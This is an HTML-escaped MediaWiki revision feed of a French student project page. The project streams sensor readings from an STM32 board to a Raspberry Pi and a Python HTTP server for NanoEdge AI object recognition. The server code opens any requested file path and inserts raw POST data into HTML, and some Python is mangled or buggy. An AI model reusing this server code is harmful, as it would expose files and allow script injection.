       try:&lt;br /&gt;
&lt;br /&gt;
file_to_open = open(self.path[1:]).read()&lt;br /&gt;
&lt;br /&gt;
           self.send_response(200)&lt;br /&gt;
&lt;br /&gt;
           self.send_header('Content-type', 'text/html')&lt;br /&gt;
&lt;br /&gt;
           self.end_headers()&lt;br /&gt;
&lt;br /&gt;
           self.wfile.write(bytes(file_to_open, 'utf-8'))&lt;br /&gt;
&lt;br /&gt;
       except FileNotFoundError:&lt;br /&gt;
&lt;br /&gt;
           self.send_error(404, 'File Not Found: %s' % self.path)&lt;br /&gt;
&lt;br /&gt;
   def do_POST(self):&lt;br /&gt;
&lt;br /&gt;
       content_length = int(self.headers['Content-Length'])&lt;br /&gt;
&lt;br /&gt;
       post_data = self.rfile.read(content_length).decode('utf-8')&lt;br /&gt;
&lt;br /&gt;
       # Ajouter les donn  es POST    la liste&lt;br /&gt;
&lt;br /&gt;
       post_requests.append(post_data)&lt;br /&gt;
&lt;br /&gt;
       # Envoyer une rponse HTTP&lt;br /&gt;
&lt;br /&gt;
       self.send_response(200)&lt;br /&gt;
&lt;br /&gt;
       self.end_headers()&lt;br /&gt;
&lt;br /&gt;
self.wfile.write(b&amp;quot;POST request processed&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
class HTTPServerV6(HTTPServer):&lt;br /&gt;
&lt;br /&gt;
   address_family = socket.AF_INET6&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
&lt;br /&gt;
   server_address = ('::', 8888)  #  ^icoute sur toutes les interfaces IPv6, p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
   httpd = HTTPServerV6(server_address, CustomHTTPHandler)&lt;br /&gt;
&lt;br /&gt;
   print(&amp;quot;Serveur actif sur le port&amp;quot;, 8888)&lt;br /&gt;
&lt;br /&gt;
   httpd.serve_forever() &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== '''Code du client Python :''' ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
import argparse                                                                                                                            &lt;br /&gt;
import requests                                                                                                                            &lt;br /&gt;
import json                                                                                                                                &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
def send_json_to_server(url, json_file):                                                                                                   &lt;br /&gt;
    # Charger les données CSV depuis le fichier spécifié                                                                                   &lt;br /&gt;
    with open(json_file, 'r') as file:                                                                                                     &lt;br /&gt;
        data = json.load(file)                                                                                                             &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
    # En-têtes spécifiant que vous envoyez du CSV                                                                                          &lt;br /&gt;
    headers = {'Content-Type': 'application/json'}                                                                                         &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
    # Envoie de la requête HTTP POST avec les données                                                                                      &lt;br /&gt;
    response = requests.post(url, data=json.dumps(data), headers=headers)                                                                  &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
    # Vérification de la réponse                                                                                                           &lt;br /&gt;
    if response.status_code == 200:                                                                                                        &lt;br /&gt;
        print('Requête envoyée avec succès!')                                                                                              &lt;br /&gt;
    else:                                                                                                                                  &lt;br /&gt;
        print(f'Erreur {response.status_code}: {response.text}')                                                                           &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:                                                                                                                 &lt;br /&gt;
    # Configurer les arguments en ligne de commande                                                                                        &lt;br /&gt;
    parser = argparse.ArgumentParser(description='Client Python pour envoyer des JSON via HTTP.')                                          &lt;br /&gt;
    parser.add_argument('url', type=str, help='URL du serveur')                                                                            &lt;br /&gt;
    parser.add_argument('json_file', type=str, help='Chemin vers le fichier JSON à envoyer')                                               &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
    # Analyser les arguments                                                                                                               &lt;br /&gt;
    args = parser.parse_args()                                                                                                             &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
    # Appeler la fonction pour envoyer le JSON au serveur                                                                                  &lt;br /&gt;
    send_json_to_server(args.url, args.json_file) &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== '''Index permettant d'afficher le json de test que nous avons envoyé au serveur :''' ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;html&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE html&amp;gt;&lt;br /&gt;
&amp;lt;html lang=&amp;quot;en&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&lt;br /&gt;
    &amp;lt;meta charset=&amp;quot;UTF-8&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;title&amp;gt;Page d'Accueil&amp;lt;/title&amp;gt;&lt;br /&gt;
&amp;lt;/head&amp;gt;&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
    &amp;lt;h1&amp;gt;Bienvenue sur Mon Serveur&amp;lt;/h1&amp;gt;&lt;br /&gt;
    &amp;lt;h2&amp;gt;Données POST reçues:&amp;lt;/h2&amp;gt;&lt;br /&gt;
    &amp;lt;ul id=&amp;quot;data&amp;quot;&amp;gt;&lt;br /&gt;
        &amp;lt;!-- Les données POST seront listées ici --&amp;gt;&lt;br /&gt;
    &amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== '''Capture montrant l'affichage d'un fichier json (sans aucun sens) envoyé au serveur depuis le client :''' ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Flash du capteur sur le logiciel STM32CubeIDE =&lt;br /&gt;
Le code ci-dessous est la fonction qui est appelé pour le traitement des capteurs. Nous avions décidé de définir le délimiteur de donnée avec un espace.&lt;br /&gt;
[[Fichier:CaptureIndexBrenierNguyen.png|centre|Démonstration du protocole HTTP]]&lt;br /&gt;
&lt;br /&gt;
Ci-dessous, on retrouve de la ligne 8 à 12 la configuration du capteur que l'on a défini sur un quadrillage de 8 x 8.&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
static void MX_53L5A1_SimpleRanging_Process(void)&lt;br /&gt;
{&lt;br /&gt;
  uint32_t Id;&lt;br /&gt;
&lt;br /&gt;
  VL53L5A1_RANGING_SENSOR_ReadID(VL53L5A1_DEV_CENTER, &amp;amp;Id);&lt;br /&gt;
  VL53L5A1_RANGING_SENSOR_GetCapabilities(VL53L5A1_DEV_CENTER, &amp;amp;Cap);&lt;br /&gt;
&lt;br /&gt;
  Profile.RangingProfile = RS_PROFILE_8x8_CONTINUOUS;&lt;br /&gt;
  Profile.TimingBudget = TIMING_BUDGET; /* 5 ms &amp;lt; TimingBudget &amp;lt; 100 ms */&lt;br /&gt;
  Profile.Frequency = RANGING_FREQUENCY; /* Ranging frequency Hz (shall be consistent with TimingBudget value) */&lt;br /&gt;
  Profile.EnableAmbient = 0; /* Enable: 1, Disable: 0 */&lt;br /&gt;
  Profile.EnableSignal = 0; /* Enable: 1, Disable: 0 */&lt;br /&gt;
&lt;br /&gt;
  /* set the profile if different from default one */&lt;br /&gt;
  VL53L5A1_RANGING_SENSOR_ConfigProfile(VL53L5A1_DEV_CENTER, &amp;amp;Profile);&lt;br /&gt;
&lt;br /&gt;
  status = VL53L5A1_RANGING_SENSOR_Start(VL53L5A1_DEV_CENTER, RS_MODE_BLOCKING_CONTINUOUS);&lt;br /&gt;
&lt;br /&gt;
  if (status != BSP_ERROR_NONE)&lt;br /&gt;
  {&lt;br /&gt;
    printf(&amp;quot;VL53L5A1_RANGING_SENSOR_Start failed\n&amp;quot;);&lt;br /&gt;
    while (1);&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  while (1)&lt;br /&gt;
  {&lt;br /&gt;
    /* polling mode */&lt;br /&gt;
    status = VL53L5A1_RANGING_SENSOR_GetDistance(VL53L5A1_DEV_CENTER, &amp;amp;Result);&lt;br /&gt;
&lt;br /&gt;
    if (status == BSP_ERROR_NONE)&lt;br /&gt;
    {&lt;br /&gt;
      //print_result(&amp;amp;Result);&lt;br /&gt;
      print_result_IE(&amp;amp;Result);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    if (com_has_data())&lt;br /&gt;
    {&lt;br /&gt;
      handle_cmd(get_key());&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    HAL_Delay(POLLING_PERIOD);&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le code ci-dessous est la fonction qui nous permet d'afficher les données des capteurs via la liaison série.&lt;br /&gt;
&lt;br /&gt;
On observe l'envoie des données avec un séparateur 'espace', puis lorsque les valeurs semblent incohérentes du point de vue du capteur, on envoie arbitrairement un -1 en sortie.&lt;br /&gt;
&lt;br /&gt;
On obtient un jeu de donnée suivant le format : value espace value esapce .... value espace retour chariot   (pour chaque lignes/quadrillage sur une ligne)&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
static void print_result_IE(RANGING_SENSOR_Result_t *Result)&lt;br /&gt;
{&lt;br /&gt;
  int8_t j;&lt;br /&gt;
  int8_t k;&lt;br /&gt;
  int8_t l;&lt;br /&gt;
  uint8_t zones_per_line;&lt;br /&gt;
&lt;br /&gt;
  zones_per_line = ((Profile.RangingProfile == RS_PROFILE_8x8_AUTONOMOUS) ||&lt;br /&gt;
		 (Profile.RangingProfile == RS_PROFILE_8x8_CONTINUOUS)) ? 8 : 4;&lt;br /&gt;
&lt;br /&gt;
  for (j = 0; j &amp;lt; Result-&amp;gt;NumberOfZones; j += zones_per_line)&lt;br /&gt;
  {&lt;br /&gt;
	for (l = 0; l &amp;lt; RANGING_SENSOR_NB_TARGET_PER_ZONE; l++)&lt;br /&gt;
	{&lt;br /&gt;
	  /* Print distance and status */&lt;br /&gt;
	  for (k = (zones_per_line - 1); k &amp;gt;= 0; k--)&lt;br /&gt;
	  {&lt;br /&gt;
		if (Result-&amp;gt;ZoneResult[j+k].NumberOfTargets &amp;gt; 0)&lt;br /&gt;
		  printf(&amp;quot;%ld &amp;quot;,(long)Result-&amp;gt;ZoneResult[j+k].Distance[l]);&lt;br /&gt;
		else&lt;br /&gt;
		  printf(&amp;quot;%ld &amp;quot;, -1);&lt;br /&gt;
	  }&lt;br /&gt;
	}&lt;br /&gt;
  }&lt;br /&gt;
  printf(&amp;quot;\n&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Code de récupération de donnée (sur la raspberry) =&lt;br /&gt;
Nous avons le scénario suivant : le capteur qui envoie en continue les données de distance à la raspberry via la liaison série.&lt;br /&gt;
&lt;br /&gt;
Nous avons donc écrit un script python afin de récupérer ces données, les formater dans un fichier format json dans le but de les envoyer sur la VM qui pourra traiter ces données avec l'émulateur obtenue via l'application NanoEdgeAI Studio.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous allons vous expliquez le script que nous avons réalisés :&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
import serial&lt;br /&gt;
from threading import Thread, Event&lt;br /&gt;
from time import sleep&lt;br /&gt;
import os, sys, signal&lt;br /&gt;
import datetime&lt;br /&gt;
import glob&lt;br /&gt;
&lt;br /&gt;
# Événement pour signaler l'arrêt des threads&lt;br /&gt;
interruptAllEvent = Event()&lt;br /&gt;
&lt;br /&gt;
# Fonction de thread pour lire les données et les sauvegarder dans des fichiers&lt;br /&gt;
def serial_thread(ser: serial) -&amp;gt; None:&lt;br /&gt;
    # Chemin du fichier pour les données initiales du capteur&lt;br /&gt;
    # Ces données sont vouées à ne pas être utilisées&lt;br /&gt;
    fileName_old = os.path.dirname(__file__) + &amp;quot;/data/sensor_data_start&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    while (1):&lt;br /&gt;
        if (interruptAllEvent.is_set()):&lt;br /&gt;
            break&lt;br /&gt;
&lt;br /&gt;
        # Créer un nouveau fichier pour chaque minute avec l'horodatage actuel&lt;br /&gt;
        fileName = os.path.dirname(__file__) + &amp;quot;/data/sensor_data_&amp;quot; + datetime.datetime.now().strftime(&amp;quot;%d_%m_%Y__%H_%M_00&amp;quot;) + &amp;quot;.json&amp;quot;&lt;br /&gt;
&lt;br /&gt;
        # Fermer le fichier de la minute précédente en ajoutant la parenthèse fermante&lt;br /&gt;
        if (fileName_old != fileName):&lt;br /&gt;
            with open(fileName_old, &amp;quot;a&amp;quot;) as fichier:&lt;br /&gt;
                fichier.write(&amp;quot;\&amp;quot;}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        # Lire les données du port série&lt;br /&gt;
        string = str(ser.readline(), encoding='utf-8')&lt;br /&gt;
&lt;br /&gt;
        # Ouvrir le fichier de la minute actuelle et écrire les données&lt;br /&gt;
        with open(fileName, &amp;quot;a&amp;quot;) as fichier:&lt;br /&gt;
            # S'il s'agit d'une nouvelle minute, commencer un nouvel objet JSON&lt;br /&gt;
            if (fileName_old != fileName):&lt;br /&gt;
                fileName_old = fileName&lt;br /&gt;
                fichier.write(&amp;quot;{\&amp;quot;date\&amp;quot;:\&amp;quot;&amp;quot;+datetime.datetime.now().strftime(&amp;quot;%d/%m/%Y-%H:%M:00&amp;quot;)+&amp;quot;\&amp;quot;,\&amp;quot;csv_file\&amp;quot;:\&amp;quot;&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
            # Écrire les données dans le fichier&lt;br /&gt;
            fichier.write(string)&lt;br /&gt;
&lt;br /&gt;
# Gestionnaire de signal pour définir l'événement d'interruption lors d'une interruption clavier (Ctrl+C)&lt;br /&gt;
def signal_handler(sig, frame):&lt;br /&gt;
    interruptAllEvent.set()&lt;br /&gt;
    return&lt;br /&gt;
&lt;br /&gt;
# Fonction principale&lt;br /&gt;
def main() -&amp;gt; None:&lt;br /&gt;
    # Créer un objet pour la communication série&lt;br /&gt;
    ser = serial.Serial('/dev/ttyACM0', 460800)&lt;br /&gt;
&lt;br /&gt;
    # Créer un thread pour la communication série&lt;br /&gt;
    thread = Thread(target=serial_thread, args=(ser,))&lt;br /&gt;
&lt;br /&gt;
    # Démarrer le thread de communication série&lt;br /&gt;
    thread.start()&lt;br /&gt;
&lt;br /&gt;
    # Mettre en place le gestionnaire de signal pour les événements d'interruption (Ctrl+C)&lt;br /&gt;
    signal.signal(signal.SIGINT, signal_handler)&lt;br /&gt;
&lt;br /&gt;
    # Attendre pendant 5 secondes et supprimer le fichier de données initial du capteur&lt;br /&gt;
    sleep(5)&lt;br /&gt;
    os.remove(os.path.dirname(__file__) + &amp;quot;/data/sensor_data_start&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    while (1):&lt;br /&gt;
        # Vérifier si l'événement d'interruption est défini&lt;br /&gt;
        if interruptAllEvent.is_set():&lt;br /&gt;
            # Attendre que le thread série se termine, puis sortir de la boucle&lt;br /&gt;
            thread.join()&lt;br /&gt;
            break&lt;br /&gt;
&lt;br /&gt;
        sleep(5)&lt;br /&gt;
&lt;br /&gt;
        # Ajuster les valeurs de minute et d'heure pour l'heure précédente&lt;br /&gt;
        minute = datetime.datetime.now().minute - 1&lt;br /&gt;
        hours = datetime.datetime.now().hour&lt;br /&gt;
        if (minute &amp;lt; 0):&lt;br /&gt;
            minute = minute + 60&lt;br /&gt;
            hours = hours - 1&lt;br /&gt;
&lt;br /&gt;
        # On modifie tout les \n du fichier json afin que son transfert et sa réception vers le serveur&lt;br /&gt;
        # soit du bon format. On protège donc tout les \n du fichier avant son envoie.&lt;br /&gt;
        try:&lt;br /&gt;
            # Lire et modifier le contenu du fichier de la minute précédente&lt;br /&gt;
            with open(os.path.dirname(__file__) + &amp;quot;/data/sensor_data_&amp;quot; + datetime.datetime.now().strftime(&amp;quot;%d_%m_%Y__&amp;quot;) + str(hours) + &amp;quot;_&amp;quot; + str(minute) + &amp;quot;_00.json&amp;quot;, &amp;quot;r+&amp;quot;) as fichier:&lt;br /&gt;
                line = fichier.read()&lt;br /&gt;
                str(line).replace('\n','\\\n')&lt;br /&gt;
                fichier.write(line)&lt;br /&gt;
        except FileNotFoundError:&lt;br /&gt;
            sleep(60)&lt;br /&gt;
&lt;br /&gt;
        # Créer une liste de chemins de fichiers pour les 10 dernières minutes&lt;br /&gt;
        # Tout les autres sont amenés à être supprimés. Dans le but de préserver de la mémoire de stockage&lt;br /&gt;
        file_to_keep = []&lt;br /&gt;
        for i in range(0,10):&lt;br /&gt;
            minute = datetime.datetime.now().minute - i&lt;br /&gt;
            hours = datetime.datetime.now().hour&lt;br /&gt;
            if (minute &amp;lt; 0):&lt;br /&gt;
                minute = minute + 60&lt;br /&gt;
                hours = hours - 1&lt;br /&gt;
            path_string = os.path.dirname(__file__) + &amp;quot;/data/sensor_data_&amp;quot; + datetime.datetime.now().strftime(&amp;quot;%d_%m_%Y__&amp;quot;) + str(hours) + &amp;quot;_&amp;quot; + str(minute) + &amp;quot;_00.json&amp;quot;&lt;br /&gt;
            file_to_keep.append(path_string)&lt;br /&gt;
&lt;br /&gt;
        # Obtenir une liste de tous les fichiers dans le répertoire data&lt;br /&gt;
        files = glob.glob(os.path.dirname(__file__) + &amp;quot;/data/*&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        # Créer une liste de fichiers à supprimer&lt;br /&gt;
        files_to_remove = []&lt;br /&gt;
&lt;br /&gt;
        # Vérifier chaque fichier et l'ajouter à la liste de suppression s'il n'est pas dans la liste des fichiers à conserver&lt;br /&gt;
        for file_name in files:&lt;br /&gt;
            beRemoved = True&lt;br /&gt;
            for f_keep in file_to_keep:&lt;br /&gt;
                if file_name == f_keep:&lt;br /&gt;
                    beRemoved = False&lt;br /&gt;
                    break&lt;br /&gt;
            if beRemoved:&lt;br /&gt;
                files_to_remove.append(file_name)&lt;br /&gt;
&lt;br /&gt;
        # Supprimer les fichiers de la liste de suppression&lt;br /&gt;
        for file_name in files_to_remove:&lt;br /&gt;
            os.remove(file_name)&lt;br /&gt;
&lt;br /&gt;
# Point d'entrée du script&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    main()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Résultats renvoyés par le programme de reconnaissance =&lt;br /&gt;
[[Fichier:20231220 173650.jpg|gauche|vignette|Aucun objet à reconnaitre]]&lt;br /&gt;
[[Fichier:20231220 173812.jpg|vignette|Un stabilo à reconnaitre]]&lt;br /&gt;
[[Fichier:20231220 173733.jpg|centre|vignette|Une colle à reconnaitre]]&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_ECEAI/eceai_2023/2024/Brenier-Nguyen&amp;diff=3994</id>
		<title>SE5 ECEAI/eceai 2023/2024/Brenier-Nguyen</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_ECEAI/eceai_2023/2024/Brenier-Nguyen&amp;diff=3994"/>
		<updated>2024-01-20T14:07:04Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Résumé de séance =&lt;br /&gt;
* Séance 1 :&lt;br /&gt;
** Création et configuration de la VM sur Chassiron&lt;br /&gt;
** Installation de NanoEdge&lt;br /&gt;
** Installation de STM32cube&lt;br /&gt;
** Installation de l'OS pour la Raspberry dans la carte micro SD&lt;br /&gt;
** Prise en main de Nanoedge, de nucléo et de STM32cube&lt;br /&gt;
** Début de réflexion sur l'application (métrologie)&lt;br /&gt;
*Séance 2:&lt;br /&gt;
**Mise en place du serveur python&lt;br /&gt;
**Mise en place du client python&lt;br /&gt;
**Test réussi de communication entre client et serveur via http&lt;br /&gt;
**Programmation de la carte nucléo pour transfert de valeur via liaison série&lt;br /&gt;
**Suite réflexion sur l'application (reconnaissance alphabet langue des signes, mouvement)&lt;br /&gt;
**Choix de l'application : reconnaissance d'objets appliqué aux fournitures scolaires&lt;br /&gt;
**Entraînement des modèles pour les différentes applications cités précédemment&lt;br /&gt;
**Finalement : entraînement à la reconnaissance d'objets de fournitures scolaires&lt;br /&gt;
*Séance 3:&lt;br /&gt;
**Entraînement d'un nouveau modèle.&lt;br /&gt;
**Écriture d'un programme permettant de récupérer les données du capteur et de les écrire dans un fichier.&lt;br /&gt;
*Séance 4 :&lt;br /&gt;
**Essai d'utilisation de la librairie créée grâce à Nanoedge.&lt;br /&gt;
**Amélioration du [[Code de récupération de donnée (sur la raspberry)|programme python]] permettant de récupérer les données du capteur.&lt;br /&gt;
***Création d'un fichier .txt afin de stocker les données du capteur toutes les minutes.&lt;br /&gt;
***Destruction automatique des fichiers de données ayant été crée il y a plus de 10 minutes.&lt;br /&gt;
**L’émulateur de la librairie ne fonctionne pas s'il est exécuté dans la raspberry... Nous l'exécutons désormais directement dans notre VM.&lt;br /&gt;
**Pour cela nous avons adapter notre programme python afin de récupérer les données à partir d'un json pour traiter ces données dans la VM.&lt;br /&gt;
***Création d'un fichier toutes les minutes (contenant au format json la date et les données au format csv)&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;b&amp;gt;Code du serveur Python :&amp;lt;/b&amp;gt; ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
from http.server import HTTPServer, BaseHTTPRequestHandler&lt;br /&gt;
&lt;br /&gt;
import json&lt;br /&gt;
&lt;br /&gt;
import socket&lt;br /&gt;
&lt;br /&gt;
# Stocker les requ  tes POST re  ues&lt;br /&gt;
&lt;br /&gt;
post_requests = []&lt;br /&gt;
&lt;br /&gt;
class CustomHTTPHandler(BaseHTTPRequestHandler):&lt;br /&gt;
&lt;br /&gt;
   def do_GET(self):&lt;br /&gt;
&lt;br /&gt;
       if self.path == '/':&lt;br /&gt;
&lt;br /&gt;
           self.path = '/index.html'&lt;br /&gt;
&lt;br /&gt;
       if self.path == '/data':&lt;br /&gt;
&lt;br /&gt;
           self.send_response(200)&lt;br /&gt;
&lt;br /&gt;
           self.send_header('Content-type', 'application/json')&lt;br /&gt;
&lt;br /&gt;
           self.end_headers()&lt;br /&gt;
&lt;br /&gt;
           self.wfile.write(bytes(json.dumps(post_requests), 'utf-8'))&lt;br /&gt;
&lt;br /&gt;
           return&lt;br /&gt;
&lt;br /&gt;
if self.path == '/index.html':&lt;br /&gt;
&lt;br /&gt;
           self.send_response(200)&lt;br /&gt;
&lt;br /&gt;
           self.send_header('Content-type', 'text/html')&lt;br /&gt;
&lt;br /&gt;
           self.end_headers()&lt;br /&gt;
&lt;br /&gt;
           # Cr  er le contenu HTML avec les donn  es POST&lt;br /&gt;
&lt;br /&gt;
           content = '&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;&amp;lt;h1&amp;gt;Donn  es POST:&amp;lt;/h1&amp;gt;&amp;lt;ul&amp;gt;'&lt;br /&gt;
&lt;br /&gt;
           for item in post_requests:&lt;br /&gt;
&lt;br /&gt;
               content += f'&amp;lt;li&amp;gt;{item}&amp;lt;/li&amp;gt;'&lt;br /&gt;
&lt;br /&gt;
           content += '&amp;lt;/ul&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;'&lt;br /&gt;
&lt;br /&gt;
           self.wfile.write(content.encode('utf-8'))&lt;br /&gt;
&lt;br /&gt;
           return&lt;br /&gt;
&lt;br /&gt;
       try:&lt;br /&gt;
&lt;br /&gt;
file_to_open = open(self.path[1:]).read()&lt;br /&gt;
&lt;br /&gt;
           self.send_response(200)&lt;br /&gt;
&lt;br /&gt;
           self.send_header('Content-type', 'text/html')&lt;br /&gt;
&lt;br /&gt;
           self.end_headers()&lt;br /&gt;
&lt;br /&gt;
           self.wfile.write(bytes(file_to_open, 'utf-8'))&lt;br /&gt;
&lt;br /&gt;
       except FileNotFoundError:&lt;br /&gt;
&lt;br /&gt;
           self.send_error(404, 'File Not Found: %s' % self.path)&lt;br /&gt;
&lt;br /&gt;
   def do_POST(self):&lt;br /&gt;
&lt;br /&gt;
       content_length = int(self.headers['Content-Length'])&lt;br /&gt;
&lt;br /&gt;
       post_data = self.rfile.read(content_length).decode('utf-8')&lt;br /&gt;
&lt;br /&gt;
       # Ajouter les donn  es POST    la liste&lt;br /&gt;
&lt;br /&gt;
       post_requests.append(post_data)&lt;br /&gt;
&lt;br /&gt;
       # Envoyer une rponse HTTP&lt;br /&gt;
&lt;br /&gt;
       self.send_response(200)&lt;br /&gt;
&lt;br /&gt;
       self.end_headers()&lt;br /&gt;
&lt;br /&gt;
self.wfile.write(b&amp;quot;POST request processed&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
class HTTPServerV6(HTTPServer):&lt;br /&gt;
&lt;br /&gt;
   address_family = socket.AF_INET6&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
&lt;br /&gt;
   server_address = ('::', 8888)  #  ^icoute sur toutes les interfaces IPv6, p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
   httpd = HTTPServerV6(server_address, CustomHTTPHandler)&lt;br /&gt;
&lt;br /&gt;
   print(&amp;quot;Serveur actif sur le port&amp;quot;, 8888)&lt;br /&gt;
&lt;br /&gt;
   httpd.serve_forever() &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== '''Code du client Python :''' ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
import argparse                                                                                                                            &lt;br /&gt;
import requests                                                                                                                            &lt;br /&gt;
import json                                                                                                                                &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
def send_json_to_server(url, json_file):                                                                                                   &lt;br /&gt;
    # Charger les données CSV depuis le fichier spécifié                                                                                   &lt;br /&gt;
    with open(json_file, 'r') as file:                                                                                                     &lt;br /&gt;
        data = json.load(file)                                                                                                             &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
    # En-têtes spécifiant que vous envoyez du CSV                                                                                          &lt;br /&gt;
    headers = {'Content-Type': 'application/json'}                                                                                         &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
    # Envoie de la requête HTTP POST avec les données                                                                                      &lt;br /&gt;
    response = requests.post(url, data=json.dumps(data), headers=headers)                                                                  &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
    # Vérification de la réponse                                                                                                           &lt;br /&gt;
    if response.status_code == 200:                                                                                                        &lt;br /&gt;
        print('Requête envoyée avec succès!')                                                                                              &lt;br /&gt;
    else:                                                                                                                                  &lt;br /&gt;
        print(f'Erreur {response.status_code}: {response.text}')                                                                           &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:                                                                                                                 &lt;br /&gt;
    # Configurer les arguments en ligne de commande                                                                                        &lt;br /&gt;
    parser = argparse.ArgumentParser(description='Client Python pour envoyer des JSON via HTTP.')                                          &lt;br /&gt;
    parser.add_argument('url', type=str, help='URL du serveur')                                                                            &lt;br /&gt;
    parser.add_argument('json_file', type=str, help='Chemin vers le fichier JSON à envoyer')                                               &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
    # Analyser les arguments                                                                                                               &lt;br /&gt;
    args = parser.parse_args()                                                                                                             &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
    # Appeler la fonction pour envoyer le JSON au serveur                                                                                  &lt;br /&gt;
    send_json_to_server(args.url, args.json_file) &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== '''Index permettant d'afficher le json de test que nous avons envoyé au serveur :''' ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;html&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE html&amp;gt;&lt;br /&gt;
&amp;lt;html lang=&amp;quot;en&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&lt;br /&gt;
    &amp;lt;meta charset=&amp;quot;UTF-8&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;title&amp;gt;Page d'Accueil&amp;lt;/title&amp;gt;&lt;br /&gt;
&amp;lt;/head&amp;gt;&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
    &amp;lt;h1&amp;gt;Bienvenue sur Mon Serveur&amp;lt;/h1&amp;gt;&lt;br /&gt;
    &amp;lt;h2&amp;gt;Données POST reçues:&amp;lt;/h2&amp;gt;&lt;br /&gt;
    &amp;lt;ul id=&amp;quot;data&amp;quot;&amp;gt;&lt;br /&gt;
        &amp;lt;!-- Les données POST seront listées ici --&amp;gt;&lt;br /&gt;
    &amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== '''Capture montrant l'affichage d'un fichier json (sans aucun sens) envoyé au serveur depuis le client :''' ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Flash du capteur sur le logiciel STM32CubeIDE =&lt;br /&gt;
